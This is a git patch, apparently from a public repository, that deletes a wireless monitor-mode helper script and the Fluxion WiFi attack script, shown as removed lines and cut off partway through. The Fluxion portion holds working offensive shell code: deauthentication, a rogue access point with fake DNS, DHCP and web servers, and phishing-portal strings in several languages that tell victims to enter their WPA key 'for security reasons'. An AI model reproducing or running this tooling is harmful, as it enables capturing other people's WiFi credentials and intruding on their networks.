- then - echo "Monitor mode not yet supported" - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - fi - - if [ x$DRIVER = "xWiLink" ] - then - getChipset $iface - printf "$iface\t\t${CHIPSET}\t\t${DRIVER}" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - printf "\n\t\t\t\tMonitor mode not yet supported" - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - fi - - if [ x$DRIVER = "xipw2200" ] || [ x"`iwpriv $iface 2>/dev/null | grep sw_reset`" != "x" ] - then - MODINFO=`modinfo ipw2200 2>/dev/null | awk '/^version/ {print $2}'` - if { echo "$MODINFO" | grep -E '^1\.0\.(0|1|2|3)$' ; } - then - echo "Monitor mode not supported, please upgrade" - else - printf "$iface\t\tIntel 2200BG\tipw2200" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - cp $KISMET~ $KISMET 2>/dev/null && - echo "source=ipw2200,$iface,Centrino_g" >>$KISMET - startStdIface $iface $CH - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - - if { echo "$MODINFO" | grep -E '^1\.0\.(5|7|8|11)$' ; } - then - printf " (Warning: bad module version, you should upgrade)" - fi - fi - echo - continue - fi - - - if [ x$DRIVER = "xcx3110x" ] || [ x"`iwpriv $iface 2>/dev/null | grep set_backscan`" != "x" ] - then - printf "$iface\t\tNokia 770\t\tcx3110x" - if [ x$1 = "xstart" ] || [ x$1 = "xstop" ] - then - printf " (Enable/disable monitor mode not yet supported)" - fi - echo - continue - fi - - - if [ x$DRIVER = "xipw3945" ] || [ x"`iwpriv $iface 2>/dev/null | grep set_preamble | grep -v set_crc_check`" != "x" ] - then - printf "$iface\t\tIntel 3945ABG\tipw3945" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - cp $KISMET~ $KISMET 2>/dev/null && - echo "source=ipw3945,$iface,Centrino_g" >>$KISMET - startStdIface $iface $CH - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - fi - - - if [ x"`iwpriv $iface 2>/dev/null | grep inact_auth`" != "x" ] - then - if [ -e "/proc/sys/net/$iface/%parent" ] - then - printf "$iface\t\tAtheros\t\tmadwifi-ng VAP (parent: `cat /proc/sys/net/$iface/%parent`)" - if [ x$2 = x$iface ] && [ x$1 = "xstop" ] - then - wlanconfig $iface destroy - printf " (VAP destroyed)" - fi - if [ x$1 = "xstart" ] - then - if [ $iface = "$IFACE" ] - then - printf " (monitor mode enabled)" - fi - if [ x$2 = x$iface ] - then - printf " (VAP cannot be put in monitor mode)" - fi - fi - - echo "" - continue - - fi - printf "$iface\t\tAtheros\t\tmadwifi" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - cp $KISMET~ $KISMET 2>/dev/null && - echo "source=madwifi_g,$iface,Atheros" >>$KISMET - startStdIface $iface $CH - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - fi - - - if [ x$DRIVER = "xprism54" ] || [ x"`iwpriv $iface 2>/dev/null | grep getPolicy`" != "x" ] - then - printf "$iface\t\tPrismGT\t\tprism54" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - cp $KISMET~ $KISMET 2>/dev/null && - echo "source=prism54g,$iface,Prism54" >>$KISMET - ifconfig $iface up - if [ $CH -lt 1000 ] - then - iwconfig $iface mode Monitor channel $CH - else - iwconfig $iface mode Monitor freq "$CH"000000 - fi - iwpriv $iface set_prismhdr 1 >/dev/null 2>&1 - printf " (monitor mode enabled)" - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - fi - - - if [ x$DRIVER = "xhostap" ] || [ x"`iwpriv $iface 2>/dev/null | grep antsel_rx`" != "x" ] - then - printf "$iface\t\tPrism 2/2.5/3\tHostAP" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - cp $KISMET~ $KISMET 2>/dev/null && - echo "source=hostap,$iface,Prism2" >>$KISMET - if [ $CH -lt 1000 ] - then - iwconfig $iface mode Monitor channel $CH - else - iwconfig $iface mode Monitor freq "$CH"000000 - fi - iwpriv $iface monitor_type 1 >/dev/null 2>&1 - ifconfig $iface up - printf " (monitor mode enabled)" - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - fi - - - if [ x$DRIVER = "xwlan-ng" ] || [ x"`wlancfg show $iface 2>/dev/null | grep p2CnfWEPFlags`" != "x" ] - then - printf "$iface\t\tPrism 2/2.5/3\twlan-ng" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - cp $KISMET~ $KISMET 2>/dev/null && - echo "source=wlanng,$iface,Prism2" >>$KISMET - wlanctl-ng $iface lnxreq_ifstate ifstate=enable >/dev/null - wlanctl-ng $iface lnxreq_wlansniff enable=true channel=$CH \ - prismheader=true wlanheader=false \ - stripfcs=true keepwepflags=true >/dev/null - echo p2CnfWEPFlags=0,4,7 | wlancfg set $iface - ifconfig $iface up - printf " (monitor mode enabled)" - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - ifconfig $iface down - wlanctl-ng $iface lnxreq_wlansniff enable=false >/dev/null - wlanctl-ng $iface lnxreq_ifstate ifstate=disable >/dev/null - printf " (monitor mode disabled)" - fi - echo - continue - fi - - - if [ x$SYSFS = "x" ] && [ x"`iwpriv $iface 2>/dev/null | grep get_RaAP_Cfg`" != "x" ] - then - if [ x"`iwconfig $iface | grep ESSID | awk -F\ '{ print $2}' | grep -i rt61`" != "x" ] - then - printf "$iface\t\tRalink 2561 PCI\trt61" - fi - - if [ x"`iwconfig $iface | grep ESSID | awk -F\ '{ print $2}' | grep -i rt73`" != "x" ] - then - printf "$iface\t\tRalink 2573 USB\trt73" - fi - - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - startStdIface $iface $CH - iwpriv $iface rfmontx 1 - if [ x"`iwpriv $iface 2>/dev/null | grep forceprismheader`" != "x" ] - then - iwpriv $iface forceprismheader 1 - fi - if [ x"`iwpriv $iface 2>/dev/null | grep forceprism`" != "x" ] - then - iwpriv $iface forceprism 1 - fi - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - - fi - - - if [ x$DRIVER = "xrt61" ] - then - printf "$iface\t\tRalink 2561 PCI\trt61" - - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - startStdIface $iface $CH - iwpriv $iface rfmontx 1 - if [ x"`iwpriv $iface 2>/dev/null | grep forceprismheader`" != "x" ] - then - iwpriv $iface forceprismheader 1 - fi - if [ x"`iwpriv $iface 2>/dev/null | grep forceprism`" != "x" ] - then - iwpriv $iface forceprism 1 - fi - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - - fi - - - if [ x$DRIVER = "xrt73" ] - then - printf "$iface\t\tRalink 2573 USB\trt73" - - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - startStdIface $iface $CH - iwpriv $iface rfmontx 1 - if [ x"`iwpriv $iface 2>/dev/null | grep forceprismheader`" != "x" ] - then - iwpriv $iface forceprismheader 1 - fi - if [ x"`iwpriv $iface 2>/dev/null | grep forceprism`" != "x" ] - then - iwpriv $iface forceprism 1 - fi - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - - fi - - - if [ x$DRIVER = "xrt2500" ] || [ x"`iwpriv $iface 2>/dev/null | grep bbp`" != "x" ] - then - printf "$iface\t\tRalink 2560 PCI\trt2500" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - cp $KISMET~ $KISMET 2>/dev/null && - echo "source=rt2500,$iface,Ralink_g" >>$KISMET - iwconfig $iface mode ad-hoc 2> /dev/null >/dev/null - startStdIface $iface $CH - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - fi - - - if [ x$DRIVER = "xrt2570" ] || [ x"`iwpriv $iface 2>/dev/null | grep wpapsk`" != "x" ] && [ x"`iwpriv $iface 2>/dev/null | grep get_RaAP_Cfg`" = "x" ] - then - printf "$iface\t\tRalink 2570 USB\trt2570" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - cp $KISMET~ $KISMET 2>/dev/null && - echo "source=rt2500,$iface,Ralink_g" >>$KISMET - iwconfig $iface mode ad-hoc 2> /dev/null >/dev/null - startStdIface $iface $CH - if [ x"`iwpriv $iface 2>/dev/null | grep forceprismheader`" != "x" ] - then - iwpriv $iface forceprismheader 1 - fi - if [ x"`iwpriv $iface 2>/dev/null | grep forceprism`" != "x" ] - then - iwpriv $iface forceprism 1 - fi - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - fi - - - if [ x$DRIVER = "xr8180" ] || [ x"`iwpriv $iface 2>/dev/null | grep debugtx`" != "x" ] - then - printf "$iface\t\tRTL8180/RTL8185\tr8180" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - cp $KISMET~ $KISMET 2>/dev/null && - echo "source=rt8180,$iface,Realtek" >>$KISMET - if [ $CH -lt 1000 ] - then - iwconfig $iface mode Monitor channel $CH - else - iwconfig $iface mode Monitor freq "$CH"000000 - fi - if [ x"`iwpriv $iface 2>/dev/null | grep prismhdr`" != "x" ] - then - iwpriv $iface prismhdr 1 >/dev/null 2>&1 - fi - ifconfig $iface up - printf " (monitor mode enabled)" - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - fi - - - if [ x$DRIVER = "xr8187" ] || [ x"`iwpriv $iface 2>/dev/null | grep badcrc`" != "x" ] - then - printf "$iface\t\tRTL8187\t\tr8187" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - cp $KISMET~ $KISMET 2>/dev/null && - echo "source=rt8180,$iface,Realtek" >>$KISMET - if [ $CH -lt 1000 ] - then - iwconfig $iface mode Monitor channel $CH - else - iwconfig $iface mode Monitor freq "$CH"000000 - fi - if [ x"`iwpriv $iface 2>/dev/null | grep rawtx`" != "x" ] - then - iwpriv $iface rawtx 1 >/dev/null 2>&1 - fi - ifconfig $iface up - printf " (monitor mode enabled)" - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - fi - - - if [ x$DRIVER = "xzd1211rw" ] || [ x"`iwpriv $iface 2>/dev/null | grep get_regdomain`" != "x" ] - then - printf "$iface\t\tZyDAS 1211\tzd1211rw" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - cp $KISMET~ $KISMET 2>/dev/null && - echo "source=zd1211,$iface,ZyDAS" >>$KISMET - startStdIface $iface $CH - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - fi - - - if [ x$DRIVER = "xzd1211" ] || [ x"`iwpriv $iface 2>/dev/null | grep dbg_flag`" != "x" ] - then - printf "$iface\t\tZyDAS 1211\tzd1211" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - cp $KISMET~ $KISMET 2>/dev/null && - echo "source=zd1211,$iface,ZyDAS" >>$KISMET - startStdIface $iface $CH - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - fi - - - if [ x$DRIVER = "xacx" ] || [ x"`iwpriv $iface 2>/dev/null | grep GetAcx1`" != "x" ] - then - printf "$iface\t\tTI ACX1xx\tacx" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - cp $KISMET~ $KISMET 2>/dev/null && - echo "source=acx100,$iface,TI" >>$KISMET - iwpriv $iface monitor 2 $CH 2> /dev/null >/dev/null - startStdIface $iface $CH - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - fi - - - if [ x$DRIVER = "xbcm43xx" ] || [ x"`iwpriv $iface 2>/dev/null | grep write_sprom`" != "x" ] - then - printf "$iface\t\tBroadcom\tbcm43xx" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - cp $KISMET~ $KISMET 2>/dev/null && - echo "source=bcm43xx,$iface,broadcom" >>$KISMET - startStdIface $iface $CH - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - ifconfig $iface up - fi - echo - continue - fi - - - if [ x$DRIVER = "xislsm" ] || [ x"`iwpriv $iface 2>/dev/null | grep set_announcedpkt`" != "x" ] - then - printf "$iface\t\tPrismGT\t\tislsm" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - startStdIface $iface $CH - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - - fi - - - if [ x$DRIVER = "xat76c503a" ] || [ x"`iwpriv $iface 2>/dev/null | grep set_announcedpkt`" != "x" ] - then - printf "$iface\t\tAtmel\t\tat76c503a" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - startStdIface $iface $CH - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - - fi - - - if [ x$DRIVER = "xndiswrapper" ] || [ x"`iwpriv $iface 2>/dev/null | grep ndis_reset`" != "x" ] - then - printf "$iface\t\tUnknown\t\tndiswrapper" - if [ x$2 = x$iface ] - then - echo " (MONITOR MODE NOT SUPPORTED)" - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - fi - - - if [ x$DRIVER != "x" ] - then - if [ x$CHIPSET = "x" ] - then - printf "$iface\t\tUNKNOWN\t\t$DRIVER" - else - printf "$iface\t\t$CHIPSET\t\t$DRIVER" - fi - - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - startStdIface $iface $CH - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - fi - -printf "$iface\t\tUnknown\t\tUnknown (MONITOR MODE NOT SUPPORTED)\n" - -done - -################################ < STOP > ######################### From 88649e78c3915fd7e1a6b605df3b40f28aa234b1 Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 03:05:59 +0400 Subject: [PATCH 024/294] Delete fluxion --- kali/fluxion | 11893 ------------------------------------------------- 1 file changed, 11893 deletions(-) delete mode 100755 kali/fluxion diff --git a/kali/fluxion b/kali/fluxion deleted file mode 100755 index 32617b2..0000000 --- a/kali/fluxion +++ /dev/null @@ -1,11893 +0,0 @@ -#!/bin/bash - -########## DEBUG Mode ########## -## ## - FLUX_DEBUG=0 -## ## -################################ - - - - -clear - -##################################### < CONFIGURATION > ##################################### - - -DUMP_PATH="/tmp/TMPflux" -# Number de desautentificaciones -DEAUTHTIME="30" -revision=4 -version=0.18 -IP=192.168.1.1 -RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) - -#Colores -white="\033[1;37m" -grey="\033[0;37m" -red2="\033[0;35m" -red="\033[1;31m" -green="\033[1;32m" -yellow="\033[1;33m" -blue="\033[1;34m" -transparent="\e[0m" -############################################################################################## - -# DEBUG MODE = 1 ; DEBUG MODE = 0 [Normal Mode / Developer Mode] -if [ $FLUX_DEBUG = 1 ]; then - ## Developer Mode - export flux_output_device=/dev/stdout - HOLD="-hold" -else - ## Normal Mode - export flux_output_device=/dev/null - HOLD="" -fi - -# Delete Log only in Normal Mode ! -function conditional_clear() { - - if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi -} - -function airmon { - sudo chmod +x airmon -} -airmon -# Check Updates -function checkupdatess { - - revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/deltaxflux/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" - if [ -z "$revision_online" ]; then - echo "?">$DUMP_PATH/Irev - else - echo "$revision_online">$DUMP_PATH/Irev - fi - -} - -# Animation -function spinner { - - local pid=$1 - local delay=0.15 - local spinstr='|/-\' - while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do - local temp=${spinstr#?} - printf " [%c] " "$spinstr" - local spinstr=$temp${spinstr%"$temp"} - sleep $delay - printf "\b\b\b\b\b\b" - done - printf " \b\b\b\b" -} - -# ERROR Report only in Developer Mode -# FLUXION = Developer Mode -# Fluxass = Normal Mode -if [ "$FLUX_DEBUG" = "1" ]; then - trap 'err_report $FLUXION' ERR -fi - -# ERROR Report Normale Mode -function err_report { - echo "Error en la fluxass $1" -} - - -#If the script exits unexpectedly -trap exitmode SIGINT SIGHUP - -# KILL ALL -function exitmode { - - echo -e "\n\n"$white"["$red"-"$white"] "$red"Cleaning and closing"$transparent"" - - if ps -A | grep -q aireplay-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent"" - killall aireplay-ng &>$flux_output_device - fi - - if ps -A | grep -q airodump-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"airodump-ng"$transparent"" - killall airodump-ng &>$flux_output_device - fi - - if ps a | grep python| grep fakedns; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"python"$transparent"" - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - fi - - if ps -A | grep -q hostapd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"hostapd"$transparent"" - killall hostapd &>$flux_output_device - fi - - if ps -A | grep -q lighttpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"lighttpd"$transparent"" - killall lighttpd &>$flux_output_device - fi - - if ps -A | grep -q dhcpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"dhcpd"$transparent"" - killall dhcpd &>$flux_output_device - fi - - if ps -A | grep -q mdk3; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"mdk3"$transparent"" - killall mdk3 &>$flux_output_device - fi - - if [ "$WIFI_MONITOR" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Detect Interface "$verde"$WIFI_MONITOR"$transparent"" - ./airmon stop $WIFI_MONITOR &> $flux_output_device - fi - - - if [ "$WIFI" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Detect Interface "$verde"$WIFI"$transparent"" - ./airmon stop $WIFI &> $flux_output_device - fi - - - if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"ipforwarding"$transparent"" - echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding - fi - - echo -e ""$white"["$red"-"$white"] "$white"Cleaning "$grey"iptables"$transparent"" - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"tput"$transparent"" - tput cnorm - - if [ $FLUX_DEBUG != 1 ]; then - - echo -e ""$white"["$red"-"$white"] "$white"Delete "$grey"files"$transparent"" - rm -R $DUMP_PATH/* &>$flux_output_device - fi - - echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"NetworkManager"$transparent"" - service restart network-manager &> $flux_output_device & - - echo -e ""$white"["$green"+"$white"] "$green"Cleaning performed successfully!"$transparent"" - exit - -} - -# Genera listado de Interfaces en el Script -readarray -t webinterfaces < <(echo -e "Web Interface -\e[1;31mExit"$transparent"" -) - -# Genera listado de Idiomas web -readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG] -Spanish[ESP] GERMAN [GER] -\e[1;31mBack"$transparent"" -) - -#Language for Web Interface -#GER -DIALOG_WEB_INFO_GER="Aus Sicherheitsgründen, geben sie bitte "$Host_ENC" den WPA2 Schlüssel ein" -DIALOG_WEB_INPUT_GER="Geben sie den WPA2 Schlüssel ein" -DIALOG_WEB_SUBMIT_GER="Bestätigen" -DIALOG_WEB_ERROR_GER="Error: Das eingegebene Passwort ist nicht Korrekt!" -DIALOG_WEB_OK_GER="Die Verbindung wird in wenigen Sekunden wiederhergestellt" -DIALOG_WEB_BACK_GER="Back" -DIALOG_WEB_LENGHT_MIN_GER="Das Passwort muss länger als 7 Zeichen sein" -DIALOG_WEB_LENGHT_MAX_GER="Das Passwort muss kürzer als 64 Zeichen sein" - -#EN -DIALOG_WEB_INFO_ENG="For security reasons, enter the "$Host_ENC" key to access the Internet" -DIALOG_WEB_INPUT_ENG="Enter your WPA password:" -DIALOG_WEB_SUBMIT_ENG="Submit" -DIALOG_WEB_ERROR_ENG="Error: The entered password is NOT correct!" -DIALOG_WEB_OK_ENG="Your connection will be restored in a few moments." -DIALOG_WEB_BACK_ENG="Back" -DIALOG_WEB_LENGHT_MIN_ENG="The password must be more than 7 characters" -DIALOG_WEB_LENGHT_MAX_ENG="The password must be less than 64 characters" - -#ESP -DIALOG_WEB_INFO_ESP="Por razones de seguridad, introduzca la contraseña "$Host_ENC" para acceder a Internet" -DIALOG_WEB_INPUT_ESP="Introduzca su contraseña WPA:" -DIALOG_WEB_SUBMIT_ESP="Enviar" -DIALOG_WEB_ERROR_ESP="Error: La contraseña introducida NO es correcta!" -DIALOG_WEB_OK_ESP="Su conexión se restablecerá en breves momentos." -DIALOG_WEB_BACK_ESP="Atrás" -DIALOG_WEB_LENGHT_MIN_ESP="La clave debe ser superior a 7 caracteres" -DIALOG_WEB_LENGHT_MAX_ESP="La clave debe ser inferior a 64 caracteres" - -#IT -DIALOG_WEB_INFO_IT="Per motivi di sicurezza, immettere la chiave "$Host_ENC" per accedere a Internet" -DIALOG_WEB_INPUT_IT="Inserisci la tua password WPA:" -DIALOG_WEB_SUBMIT_IT="Invia" -DIALOG_WEB_ERROR_IT="Errore: La password NON è corretta!" -DIALOG_WEB_OK_IT="La connessione sarà ripristinata in pochi istanti." -DIALOG_WEB_BACK_IT="Indietro" -DIALOG_WEB_LENGHT_MIN_IT="La password deve essere superiore a 7 caratteri" -DIALOG_WEB_LENGHT_MAX_IT="La password deve essere inferiore a 64 caratteri" - -#FR -DIALOG_WEB_INFO_FR="Pour des raisons de sécurité, veuillez introduire "$Host_ENC" votre clé pour acceder à Internet" -DIALOG_WEB_INPUT_FR="Entrez votre clé WPA:" -DIALOG_WEB_SUBMIT_FR="Valider" -DIALOG_WEB_ERROR_FR="Error: La clé que vous avez introduit NOT est incorrecte!" -DIALOG_WEB_OK_FR="Veuillez patienter quelques instants." -DIALOG_WEB_BACK_FR="Précédent" -DIALOG_WEB_LENGHT_MIN_FR="La passe dois avoir plus de 7 digits" -DIALOG_WEB_LENGHT_MAX_FR="La passe dois avoir moins de 64 digits" - -#POR -DIALOG_WEB_INFO_POR="Por razões de segurança, digite a senha para acessar a Internet" -DIALOG_WEB_INPUT_POR="Digite sua senha WPA" -DIALOG_WEB_SUBMIT_POR="Enviar" -DIALOG_WEB_ERROR_POR="Erro: A senha digitada NÃO está correto !" -DIALOG_WEB_OK_POR="Sua conexão é restaurada em breve." -DIALOG_WEB_BACK_POR="Voltar" -DIALOG_WEB_LENGHT_MIN_POR="A senha deve ter mais de 7 caracteres" -DIALOG_WEB_LENGHT_MAX_POR="A chave deve ser menor que 64 caracteres" - -# Design -#* * -#*+++* -function mostrarheader(){ - - conditional_clear - echo -e "$blue#########################################################" - echo -e "$blue# #" - echo -e "$blue# $red FLUXION $version" "${yellow} ${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture " ${blue}" #" - echo -e "$blue#"${yellow} by "${red}D""${yellow}eltax", "${red}"S""${yellow}"trasharo and "${red}A""${yellow}patheticEuphoria" " ${blue}#"" - echo -e "$blue# #" - echo -e "$blue#########################################################""$transparent" - echo - echo - -} -##################################### < CONFIGURACION > ##################################### - - - - - - -############################################## < START > ############################################## - - -if ! [ $(id -u) = "0" ] 2>/dev/null; then - echo -e "\e[1;31mYou don't have admin privilegies"$transparent"" - exit -fi - -# Check requirements -function checkdependences { - - echo -ne "Aircrack-ng....." - if ! hash aircrack-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Aireplay-ng....." - if ! hash aireplay-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airmon-ng......." - if ! hash airmon-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airodump-ng....." - if ! hash airodump-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Awk............." - if ! hash awk 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Curl............" - if ! hash curl 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Dhcpd..........." - if ! hash dhcpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Hostapd........." - if ! hash hostapd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Iwconfig........" - if ! hash iwconfig 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Lighttpd........" - if ! hash lighttpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Macchanger......" - if ! hash macchanger 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Mdk3............" - if ! hash mdk3 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Nmap............" - if ! [ -f /usr/bin/nmap ]; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Php5-cgi........" - if ! [ -f /usr/bin/php-cgi ]; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Pyrit..........." - if ! hash pyrit 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Python.........." - if ! hash python 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Unzip..........." - if ! hash unzip 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Xterm..........." - if ! hash xterm 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - if [ "$salir" = "1" ]; then - exit 1 - fi - - sleep 1 - clear -} -mostrarheader -checkdependences - -# Create Workbook -if [ ! -d $DUMP_PATH ]; then - mkdir $DUMP_PATH &>$flux_output_device -fi - - -if [ $FLUX_DEBUG != 1 ]; then - - echo "" - sleep 0.1 && echo -e $red "O))))))))O)) O)) O))O)) O))O)) O)))) O))) O))" - sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O)) O)) O)) O) O)) O))" - sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O))O)) O))O)) O)) O))" - sleep 0.1 && echo -e $red "O)))))) O)) O)) O)) O)) O))O)) O))O)) O)) O))" - sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O))O)) O))O)) O) O))" - sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O)) O)) O)) O)) O) ))" - sleep 0.1 && echo -e $red "O)) O)))))))) O))))) O)) O))O)) O)))) O)) O))" - echo "" - - sleep 1 - echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax" - sleep 1 - echo -e $green " Page:"$red"www.flux.jimdo.de "$transparent - sleep 1 - echo -n " Latest rev." - tput civis - checkupdatess & - spinner "$!" - revision_online=$(cat $DUMP_PATH/Irev) - echo -e ""$white" [${red2}${revision_online}$white"$transparent"]" -# if [ "$revision_online" != "?" ]; then -# -# if [ "$revision" != "$revision_online" ]; then -# -# cp $0 $HOME/flux_rev-$revision.backup -# curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/fluxion -s -o $0 -# echo -# echo -# echo -e ""$red" -#Updated successfully! Restarting the script to apply the changes ..."$transparent"" -# sleep 5 -# chmod +x $0 -# exec $0 -# -# fi -# fi - echo "" - tput cnorm - sleep 2 - -fi - -# Show info for the selected AP -function infoap { - - Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] 